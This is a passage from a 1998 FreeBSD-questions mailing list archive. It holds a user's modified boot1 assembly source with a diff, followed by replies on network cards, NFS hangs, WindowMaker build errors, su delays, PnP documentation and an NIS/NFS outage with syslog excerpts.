*/ jz scan incb %al /* now look for -1 */ data32 jz notours /* if we reach the 0xFF then we have finished */ /* * save our settings.. we need them twice.. */ data32 push %ebx /* * copy it to the default string location * which is just above the stack for 64 bytes. */ data32 movl $BOOTSTACK-64, %ecx /* 64 bytes at the top of the stack */ nxtbyte: addr32 movb %es:(%ebx), %al /* get the next byte in */ addr32 movb %al, %es:(%ecx) /* and transfer it to the name buffer */ incl %ebx /* get on with the next byte */ incl %ecx /* get on with the next byte */ testb %al, %al /* if it was 0 then quit this */ data32 jnz nxtbyte /* and looop if more to do */ /* * restore the saved settings and * zero it out so next time we don't try it again */ data32 pop %ebx /* get back our starting location */ #ifdef NAMEBLOCK_WRITEBACK nxtbyte2: addr32 movb %es:(%ebx), %al /* get the byte */ addr32 movb $0, %es:(%ebx) /* zero it out */ data32 incl %ebx /* point to the next byte */ testb %al, %al /* check if we have finished.. */ data32 jne nxtbyte2 /* * Write the second sector back * Load the second sector * BIOS call "INT 0x13 Function 0x3" to write sectors from memory to disk * Call with %ah = 0x3 * %al = number of sectors * %ch = cylinder * %cl = sector * %dh = head * %dl = drive (0x80 for hard disk, 0x0 for floppy disk) * %es:%bx = segment:offset of buffer * Return: * %al = 0x0 on success; err code on failure */ data32 movl $0x0301, %eax /* write 1 sector */ xor %ebx, %ebx /* buffer is at offset 0 */ data32 movl $0x0002, %ecx /* block 2 */ data32 andl $0xff, %edx /* head 0 */ int $0x13 data32 jnb notours data32 mov $eread, %esi jmp err_stop #endif /* NAMEBLOCK_WRITEBACK */ /* * return to the main-line */ notours: data32 pop %edx data32 pop %ecx #endif movb $0x2, %ah /* function 2 */ movb $LOADSZ, %al /* number of blocks */ xor %ebx, %ebx /* %bx = 0, put it at 0 in the BOOTSEG */ int $0x13 data32 jb read_error /* * ljmp to the second stage boot loader (boot2). * After ljmp, %cs is BOOTSEG and boot1 (512 bytes) will be used * as an internal buffer "intbuf". */ data32 ljmp $BOOTSEG, $ EXT(boot2) /* * read_error */ read_error: data32 mov $eread, %esi err_stop: data32 call message data32 jmp stop /* * message: write the error message in %ds:%esi to console */ message: /* * Use BIOS "int 10H Function 0Eh" to write character in teletype mode * %ah = 0xe %al = character * %bh = page %bl = foreground color (graphics modes) */ data32 push %eax data32 push %ebx data32 mov $0x0001, %ebx cld nextb: lodsb /* load a byte into %al */ cmpb $0x0, %al data32 je done movb $0xe, %ah int $0x10 /* display a byte */ data32 jmp nextb done: data32 pop %ebx data32 pop %eax data32 ret stop: hlt data32 jmp stop /* halt doesnt actually halt forever */ /* error messages */ #ifdef DEBUG one: String "1-\0" two: String "2-\0" three: String "3-\0" four: String "4-\0" #endif DEBUG #ifdef NAMEBLOCK_WRITEBACK ewrite: String "Write error\r\n\0" #endif /* NAMEBLOCK_WRITEBACK */ eread: String "Read error\r\n\0" enoboot: String "No bootable partition\r\n\0" msg1: String "boot1: BIOS bootstrap code failed to specify drive.\r\n\0" msg2: String "boot1: using hard coded boot device as hard disk (0x80).\r\n\0" endofcode: /* * Dummy partition table in case we are block 0. The ending c/h/s values * of the non-null partition are almost arbitary. The length of this * partition is bogus for backwards compatibility and as a signature. * A real partition table shouldn't be as weird and broken as this one, * and the isa slice initialization routine interprets this table as * saying that the whole disk is used for FreeBSD. */ /* flag, head, sec, cyl, typ, ehead, esect, ecyl, start, len */ . = EXT(boot1) + PARTSTART strttbl: .byte 0x0,0,0,0,0,0,0,0 .long 0,0 .byte 0x0,0,0,0,0,0,0,0 .long 0,0 .byte 0x0,0,0,0,0,0,0,0 .long 0,0 .byte BOOTABLE,0,1,0,BSDPART,255,255,255 .long 0,50000 /* the last 2 bytes in the sector 0 contain the signature */ . = EXT(boot1) + 0x1fe .value SIGNATURE ENTRY(disklabel) . = EXT(boot1) + 0x400 <----------------- end of my "start.S file ----------------------------------> <----------------- here is my diffs file: diff start.S start.S.orig -----------> 112,126d111 < < data32 < mov $msg1, %esi < data32 < call message < data32 < mov $msg2, %esi < data32 < call message < data32 < < mov $0x0080, %edx < jmp hd < < 437,438d421 < msg1: String "boot1: BIOS bootstrap code failed to specify drive.\r\n\0" < msg2: String "boot1: using hard coded boot device as hard disk (0x80).\r\n\0" <----------------- end of my diffs file: diff start.S start.S.orig ----------> To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message --Message-Boundary-22893-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 19:03:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA18595 for freebsd-questions-outgoing; Tue, 7 Apr 1998 19:03:02 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from euthyphro.uchicago.edu (euthyphro.uchicago.edu [128.135.21.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA18416 for ; Tue, 7 Apr 1998 19:02:31 -0700 (PDT) (envelope-from sfarrell@phaedrus.uchicago.edu) Received: from phaedrus.uchicago.edu (phaedrus [128.135.21.10]) by euthyphro.uchicago.edu (8.8.6/8.8.4) with ESMTP id VAA12216; Tue, 7 Apr 1998 21:02:13 -0500 (CDT) Received: (from sfarrell@localhost) by phaedrus.uchicago.edu (8.8.8/8.8.5) id VAA00672; Tue, 7 Apr 1998 21:02:12 -0500 (CDT) To: Dan Williams , freebsd-questions@FreeBSD.ORG Subject: Re: network cards References: From: sfarrell+lists@farrell.org Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: 07 Apr 1998 21:02:12 -0500 In-Reply-To: Doug White's message of "Tue, 7 Apr 1998 12:48:32 -0700 (PDT)" Message-ID: <874t052hqz.fsf@phaedrus.uchicago.edu> Lines: 33 X-Mailer: Gnus v5.6.3/XEmacs 20.3 - "Vatican City" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug White writes: > On Mon, 6 Apr 1998, Dan Williams wrote: > > > I have recently put together a FreeBSD machine, and had some problems with > > networking. First, I had 2.2.2 on it, and used an Infotek NE2000 > > compatible network card. Everything was connected fine, and link lights > > wer glowing. But the device timed out, as in ed1: kenel/device timeout. > > This happened with a number of different NE2000 compatible cards. > > Hm, ed1. Is this a PCI card? Check that the interrupt it's getting > assigned isn't being hogged by another device. You haven't talked about the configuration of this card. I have a handful of ne2000's that don't do a damn thing either and i've lost the booklets to set their irqs and base addrs. i guess this is a stupid thing to say, but are you sure you have it all set up correctly? and the line in your kernel config? > > Next, I put on 2.2.5 with a 3Com 3C509. This was connected, but there was > > no link light on the hub it was connected to. It also froze the machine > > when running an Ifconfig on the ep0 driver. We are running 10BaseT. Same... Also are these pnp cards? you might want to disable pnp on these cards. Often I need to do this to get the cards recognized. Also, what does dmesg say? Did it successfully probe the cards?? -- Steve Farrell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 19:08:44 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA20045 for freebsd-questions-outgoing; Tue, 7 Apr 1998 19:08:44 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from euthyphro.uchicago.edu (euthyphro.uchicago.edu [128.135.21.31]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA20029 for ; Tue, 7 Apr 1998 19:08:33 -0700 (PDT) (envelope-from sfarrell@phaedrus.uchicago.edu) Received: from phaedrus.uchicago.edu (phaedrus [128.135.21.10]) by euthyphro.uchicago.edu (8.8.6/8.8.4) with ESMTP id VAA12255; Tue, 7 Apr 1998 21:08:19 -0500 (CDT) Received: (from sfarrell@localhost) by phaedrus.uchicago.edu (8.8.8/8.8.5) id VAA00714; Tue, 7 Apr 1998 21:08:14 -0500 (CDT) To: Tom Bartol Cc: questions@FreeBSD.ORG Subject: Re: NFS hanging in 2.2.6-RELEASE References: From: stephen farrell Mime-Version: 1.0 (generated by tm-edit 7.108) Content-Type: text/plain; charset=US-ASCII Date: 07 Apr 1998 21:08:14 -0500 In-Reply-To: Tom Bartol's message of "Tue, 7 Apr 1998 12:51:22 -0700 (PDT)" Message-ID: <87zphx12wh.fsf@phaedrus.uchicago.edu> Lines: 27 X-Mailer: Gnus v5.6.3/XEmacs 20.3 - "Vatican City" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Tom Bartol writes: > I've got a new ThinkPad 770 with a 3Com 3C589D installed and running > 2.2.6-RELEASE. The installation was totally painless (thanks to all of > you!). It's on the net and I can telnet and ftp without a hitch but I've > run into a problem with NFS. I can mount disks served by our NFS servers > (either Auspex or FreeBSD running -current) but when I try to copy files > from the laptop to the servers it'll copy a few megabytes and then all > network traffic stops completely and the machine is not pingable. I > cannot Ctrl-C out of the NFS cpio operation but I can still use other > windows on the machine just fine everything seems quite responsive. > netstat -m, nfsstat, and systat -vmstat don't seem to show anything > unusual. Pstat shows the cpio process that I was using stuck in state > "D". cp and tar also behave this way. I have also explicitly mounted in > NFSv2 mode but this didn't help. I have included output of dmesg and my > kernel config file below in case this helps. Let me know what other > information might help. Oh, this just in... ftp also hangs in this way > as well -- it just get a little further along before it does. Anyone have > any clues about this one? TCP or UDP? Try doing a udp mount if you're doing it tcp now. Any other mount options that you are using? -- Steve Farrell To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 19:31:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA25392 for freebsd-questions-outgoing; Tue, 7 Apr 1998 19:31:05 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from peloton.physics.montana.edu (peloton.physics.montana.edu [153.90.192.177]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA25293 for ; Tue, 7 Apr 1998 19:30:53 -0700 (PDT) (envelope-from brett@peloton.physics.montana.edu) Received: from localhost (brett@localhost) by peloton.physics.montana.edu (8.8.8/8.8.7) with SMTP id UAA07156; Tue, 7 Apr 1998 20:29:58 -0600 (MDT) (envelope-from brett@peloton.physics.montana.edu) Date: Tue, 7 Apr 1998 20:29:58 -0600 (MDT) From: Brett Taylor To: Dave Ason cc: freebsd-questions@FreeBSD.ORG Subject: Re: Help: error installing WindowMaker 0.14.x In-Reply-To: <352A9B7C.9B70A039@mindspring.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi Dave, > I am trying to install the port WindowMaker 0.14.0 that I downloaded > from the "ports" collection at www.freebsd.org. > > Also, someone on the "misc" newsgroup suggested that I try the > 0.14.1 install found on the windowmaker page. I get the same error with > that version too...is there something missing from my BSD install? > gmake[1]: Entering directory > `/usr/ports/x11/windowmaker/work/WindowMaker-0.14.0/wrlib' > cc -DHAVE_CONFIG_H -I. -I. -I../src -D_BSD_SOURCE > -I/usr/local/include/tiff34 -I/usr/local/include -DUSE_PNG -DUSE_JPEG > -DUSE_TIFF -O -Wall -finline-functions -c raster.c > raster.c:27: X11/Xlib.h: No such file or directory > In file included from raster.c:28: > wraster.h:50: X11/Xlib.h: No such file or directory > wraster.h:51: X11/Xutil.h: No such file or directory You appear to not be finding your X includes. Do your X includes live in /usr/X11R6/include/X11? Does the Xlib.h and Xutil.h file live there? That's where the build is looking for it. Check and see if you can find Xlib.h and Xutil.h somewhere in your X tree - if not, your X installation might be hosed. ********************************************************* Brett Taylor brett@peloton.physics.montana.edu http://peloton.physics.montana.edu/brett/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 20:09:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA29969 for freebsd-questions-outgoing; Tue, 7 Apr 1998 20:09:13 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason04.u.washington.edu (root@jason04.u.washington.edu [140.142.78.5]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA29901 for ; Tue, 7 Apr 1998 20:08:08 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul7.u.washington.edu (root@saul7.u.washington.edu [140.142.82.2]) by jason04.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id UAA28934; Tue, 7 Apr 1998 20:08:07 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul7.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id UAA31391; Tue, 7 Apr 1998 20:08:06 -0700 (PDT) Date: Tue, 7 Apr 1998 19:06:55 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Donald Burr cc: FreeBSD Questions Subject: Re: Unusual "su" behavior since upgrade to 2.2.6 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, 7 Apr 1998, Donald Burr wrote: > -----BEGIN PGP SIGNED MESSAGE----- > > Ever since upgrading to 2.2.6, my system, the "su" command is pausing a > long time before printing the "Password:" prompt. > > ++++++++++ > [dburr@control:141 ~]% su > (a pause -- sometimes short, sometimes long [seems to depend on how active > my ppp connection is]) > su: kerberos: not in root's ACL. > Password: _ > ++++++++++ Use 'su -K' to prevent the kerberos login. Perhaps this will prevent the long pause. (?). I aliased 'su' to 'su -K' in my .bash_profile. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 20:12:39 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA01225 for freebsd-questions-outgoing; Tue, 7 Apr 1998 20:12:39 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from top.worldcontrol.com (surf52.cruzers.com [205.215.232.52]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id UAA01112 for ; Tue, 7 Apr 1998 20:12:29 -0700 (PDT) (envelope-from brian@litzinger.com) From: brian@litzinger.com Received: (qmail 2300 invoked by uid 100); 8 Apr 1998 03:13:28 -0000 Message-ID: <19980407201322.A2287@top.worldcontrol.com> Date: Tue, 7 Apr 1998 20:13:22 -0700 To: freebsd-questions@FreeBSD.ORG Subject: Netwave AirSurfer? Mail-Followup-To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.90.12i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does anyone know if the Netwave Airsurfer PC Card works with FreeBSD. -- Brian Litzinger To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 20:37:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA05372 for freebsd-questions-outgoing; Tue, 7 Apr 1998 20:37:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from localhost.zilker.net (jump-k56flex-0192.jumpnet.com [207.8.6.192]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA05350 for ; Tue, 7 Apr 1998 20:37:44 -0700 (PDT) (envelope-from marquard@zilker.net) Received: (from marquard@localhost) by localhost.zilker.net (8.8.8/8.8.3) id WAA26303; Tue, 7 Apr 1998 22:36:42 -0500 (CDT) To: freebsd-questions@FreeBSD.ORG Subject: Re: Modems. References: From: Dave Marquardt Date: 07 Apr 1998 22:35:20 -0500 In-Reply-To: Doug White's message of "Tue, 7 Apr 1998 11:12:54 -0700 (PDT)" Message-ID: <85hg45c7ev.fsf@localhost.zilker.net> Lines: 21 X-Mailer: Quassia Gnus v0.22/XEmacs 19.16 - "Lille" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Doug White writes: > On 7 Apr 1998, Dave Marquardt wrote: > > > The FAQs and handbook are a little sparse on PnP, unfortunately. > > 2.2.6 was the first release with PnP. If there are gotcha's by all means > let us know so we can put them somewhere, even if the only place we have > is my brain. :) Well, when I said it was sparse, I guess I should have said "Almost nothing at all." Seriously, I cvsup the doc stuff the same time I cvsup'd 2.2.6-RELEASE, and there's a section in the FAQ on how PnP devices are detected and initialized, but not really the mechanics of playing with the USERCONFIG stuff in the kernel after booting with -c. I would have thought such an important new feature would be better documented. Oh well, I can understand how one runs out of time. The pnpinfo and pnp and dset man pages are okay, but if you're not all that familiar with Plug n Play stuff, they don't quite tell you what to do. -Dave To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Apr 7 20:56:19 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA07913 for freebsd-questions-outgoing; Tue, 7 Apr 1998 20:56:19 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from fciencias.ens.uabc.mx ([148.231.177.14]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA07901 for ; Tue, 7 Apr 1998 20:56:12 -0700 (PDT) (envelope-from mbarbosa@fciencias.ens.uabc.mx) Received: (from mbarbosa@localhost) by fciencias.ens.uabc.mx (8.8.7/8.8.7) id UAA26581 for freebsd-questions@freebsd.org; Tue, 7 Apr 1998 20:58:49 -0700 (PDT) (envelope-from mbarbosa) From: "Marco A. Barbosa S." Message-Id: <199804080358.UAA26581@fciencias.ens.uabc.mx> Subject: nis/nfs problem (continued...) To: freebsd-questions@FreeBSD.ORG Date: Tue, 7 Apr 1998 20:58:48 -0700 (PDT) X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >On Mon, 6 Apr 1998, Marco A. Barbosa S. wrote: > >> ooops > >Not the thing you wnt to hear first thing from your computer hacker. :-) *grin* well, I am used to messing things up... sorry... dont worry about it... I usually kinda can fix stuff I mess up >> 2 2.2.5 RELEASE FreeBSD boxes >> >> 1.- Fciencias nis/nfs client >> 2.- Xcalibur nis/nfs server > >Okay, I've been working with NIS over the past week or so. *grin* cool 1 week... I see we have kinda the same experience with the problem... *chuckle* > >> problem: >> >> network segment on LAN (novell netware,ethernet,thin coax ) >> is ok, but Xcalibur gets stuck. If someone is logged in >> Fciencias, they still have net access to everywhere, >> but Xcalibur gets isolated. Any user in Fciencias, loses >> files and noone else can login due to nis/dns failure. > >Why does Xcalibur get stuck? How? Please be more specific. Can you ping >it? Can you connect out OK from xcalibur? sorry, I had specified all of that in an earlier mail... (try 1) but I kinda sent it to the owner I think... *chuckle* that is what the previous "ooops" was about... ok... stuck, as in... no more Xcalibur, noone on the network can connect to it... it does not exist... well, some times if you leave a telnet long enough to it, after 3 + minutes it gives you the ^] thing to tell you you can disconnect with it.. but nothing more... no, pinging fails... no pinging allowed in or out when it gets stuck... no, if you are sitting in the Xcalibur console when that happens you get isolated from the network... and if you are lucky enough to have gotten into Fciencias before Xcalibur falls... you still have access out of Fciencias, but dont try to check your files cuz you get stuck... (remember... nfs, the files are in the Xcalibur hard drive), and if you try to connect to Fciencias from the outside... well, you cant(remember the nis thing... all the users and passwds are kinda inside Xcalibur) what else? hmmm > >> After a few minutes, things get back to normal, but its >> pretty annoying to not be able to log into Fciencias, >> cuz its the main mail server and web server and other >> stuff. > >Either xcalibur is going south or your network is going south. Hangups >on the client sound like a loss of NIS connecivity, and a later >reconnection. You should get log entries when the NIS connection is lost >and regained. South? what do you mean south? we are already south... we are in Baja... hmm? yep, yep, I mentioned that too on the previous nis/nfs try... but it went to... someone else... I guess... *chuckle* yes, we get lots of log entires... something about server unreachable... or... something... and something about someone alive. I dont remember the logs... let me check... ok, after erasing login failures, popper errors... etc... we have something like this... Mar 26 20:13:25 Fciencias su: mbarbosa to root on /dev/ttyp3 Mar 26 20:24:26 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 26 20:24:31 Fciencias routed[70]: interface ed1 to 148.231.177.14 broken: in=1 ierr=0 out=1 oerr=2 Mar 26 20:24:54 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" OK Mar 26 20:24:56 Fciencias routed[70]: interface ed1 to 148.231.177.14 restored Mar 26 20:27:01 Fciencias routed[70]: interface ed1 to 148.231.177.14 broken: in=0 ierr=0 out=0 oerr=3 Mar 26 20:27:20 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 26 20:28:14 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 26 20:28:27 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: not responding Mar 26 20:28:33 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: not responding Mar 26 20:29:08 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 26 20:29:36 Fciencias routed[70]: interface ed1 to 148.231.177.14 restored Mar 26 20:29:36 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" OK Mar 26 20:29:39 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: is alive again Mar 26 20:29:39 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: is alive again Mar 26 20:30:25 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: not responding Mar 26 20:30:25 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: is alive again Mar 26 20:36:29 Fciencias ftpd[2503]: FTP LOGIN FAILED FROM almysfc.ens.uabc.mx, amoran Mar 26 21:47:58 Fciencias su: mbarbosa to root on /dev/ttyp5 Mar 27 12:07:02 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: not responding Mar 27 12:07:17 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 27 12:07:28 Fciencias routed[70]: interface ed1 to 148.231.177.14 broken: in=1 ierr=0 out=1 oerr=4 Mar 27 12:08:08 Fciencias routed[70]: interface ed1 to 148.231.177.14 restored Mar 27 12:08:11 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 27 12:08:45 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: is alive again Mar 27 12:08:51 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" OK Mar 27 15:11:25 Fciencias login: LOGIN root REFUSED (NOROOT) FROM xcalibur.ens.uabc.mx ON TTY ttyp1 Mar 27 15:11:43 Fciencias login: 1 LOGIN FAILURE FROM xcalibur.ens.uabc.mx Mar 27 15:11:43 Fciencias login: 1 LOGIN FAILURE FROM xcalibur.ens.uabc.mx, root Mar 27 18:23:27 Fciencias ftpd[7929]: FTP LOGIN FAILED FROM 148.231.190.21, jmilanez Mar 27 19:36:16 Fciencias login: ROOT LOGIN (root) ON ttyv0 Mar 28 05:16:50 Fciencias login: ROOT LOGIN (root) ON ttyv0 Mar 28 08:00:20 Fciencias su: mbarbosa to root on /dev/ttyv2 Mar 30 15:13:31 Fciencias su: mbarbosa to root on /dev/ttyp2 Mar 30 15:34:03 Fciencias su: mbarbosa to root on /dev/ttyp1 Mar 30 15:45:20 Fciencias su: mbarbosa to root on /dev/ttyp4 Mar 30 18:06:16 Fciencias login: ROOT LOGIN (root) ON ttyv0 Mar 30 18:06:47 Fciencias su: BAD SU benja to root on /dev/ttyp0 Mar 30 18:06:55 Fciencias su: BAD SU benja to root on /dev/ttyp0 Mar 31 10:21:32 Fciencias su: uflores to root on /dev/ttyv1 Mar 31 12:29:00 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 12:29:27 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: not responding Mar 31 12:29:54 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 12:30:08 Fciencias routed[70]: interface ed1 to 148.231.177.14 broken: in=1 ierr=0 out=1 oerr=1 Mar 31 12:30:49 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 12:31:43 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 12:33:31 Fciencias last message repeated 2 times Mar 31 12:34:25 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 12:34:43 Fciencias routed[70]: interface ed1 to 148.231.177.14 restored Mar 31 12:35:19 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 12:35:48 Fciencias routed[70]: interface ed1 to 148.231.177.14 broken: in=1 ierr=0 out=1 oerr=2 Mar 31 12:36:13 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 12:36:13 Fciencias routed[70]: interface ed1 to 148.231.177.14 restored Mar 31 12:37:07 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 12:37:18 Fciencias routed[70]: interface ed1 to 148.231.177.14 broken: in=1 ierr=0 out=1 oerr=1 Mar 31 12:38:01 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 12:38:55 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 12:40:43 Fciencias last message repeated 2 times Mar 31 12:40:43 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" OK Mar 31 12:40:48 Fciencias routed[70]: interface ed1 to 148.231.177.14 restored Mar 31 12:40:50 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: is alive again Mar 31 12:52:53 Fciencias routed[70]: interface ed1 to 148.231.177.14 broken: in=0 ierr=0 out=0 oerr=2 Mar 31 12:53:05 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 12:53:05 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" OK Mar 31 12:53:12 Fciencias routed[70]: interface ed1 to 148.231.177.14 restored Mar 31 12:53:14 Fciencias routed[70]: sendto(ed1, 224.0.0.1): No route to host Mar 31 14:30:24 Fciencias routed[70]: interface ed1 to 148.231.177.14 broken: in=1 ierr=0 out=1 oerr=9 Mar 31 14:30:26 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 14:31:16 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: not responding Mar 31 14:31:21 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 14:31:36 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: is alive again Mar 31 14:31:38 Fciencias routed[70]: interface ed1 to 148.231.177.14 restored Mar 31 14:31:39 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" OK Mar 31 14:33:43 Fciencias routed[70]: interface ed1 to 148.231.177.14 broken: in=0 ierr=0 out=0 oerr=1 Mar 31 14:34:00 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 14:34:54 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 14:35:06 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: not responding Mar 31 14:35:49 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 14:36:18 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: is alive again Mar 31 14:36:18 Fciencias routed[70]: interface ed1 to 148.231.177.14 restored Mar 31 14:36:29 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" OK Mar 31 14:37:50 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 14:37:53 Fciencias routed[70]: interface ed1 to 148.231.177.14 broken: in=1 ierr=0 out=1 oerr=1 Mar 31 14:38:18 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" OK Mar 31 14:38:23 Fciencias routed[70]: interface ed1 to 148.231.177.14 restored Mar 31 14:40:39 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 14:40:39 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" OK Mar 31 18:03:45 Fciencias su: mbarbosa to root on /dev/ttyp6 Mar 31 18:22:58 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 18:24:06 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 18:24:23 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: not responding Mar 31 18:24:36 Fciencias last message repeated 2 times Mar 31 18:25:00 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 18:25:54 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" not responding Mar 31 18:26:22 Fciencias ypbind[100]: NIS server [148.231.177.8] for domain "RED_FC" OK Mar 31 18:26:24 Fciencias /kernel: nfs server xcalibur:/usr/usuarios: is alive again Mar 31 18:26:24 Fciencias last message repeated 2 times Apr 1 09:14:19 Fciencias login: ROOT LOGIN (root) ON ttyv0 Apr 1 09:16:38 Fciencias su: mbarbosa to root on /dev/ttyp4 Apr 1 09:24:11 Fciencias su: 